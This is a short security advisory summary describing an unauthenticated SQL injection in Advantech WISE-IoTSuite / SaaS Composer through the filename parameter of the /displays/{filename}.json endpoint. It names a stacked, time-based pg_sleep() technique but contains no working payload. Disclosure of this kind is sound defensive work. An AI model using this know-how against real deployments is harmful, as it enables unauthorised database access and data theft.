[+] Summary : A critical unauthenticated SQL injection vulnerability was identified in Advantech WISE-IoTSuite / SaaS Composer.
The issue resides in the /displays/{filename}.json endpoint, where the filename parameter is improperly sanitized before being concatenated into a backend PostgreSQL query.
An attacker can exploit this flaw by injecting stacked SQL queries, such as a time-based payload using pg_sleep(), to confirm successful query execution.
This vulnerability may allow database enumeration, sensitive data disclosure, and under certain configurations, could potentially lead to remote code execution depending on database privileges.
The vulnerability can be exploited remotely without authentication, posing a significant security risk to affected deployments.
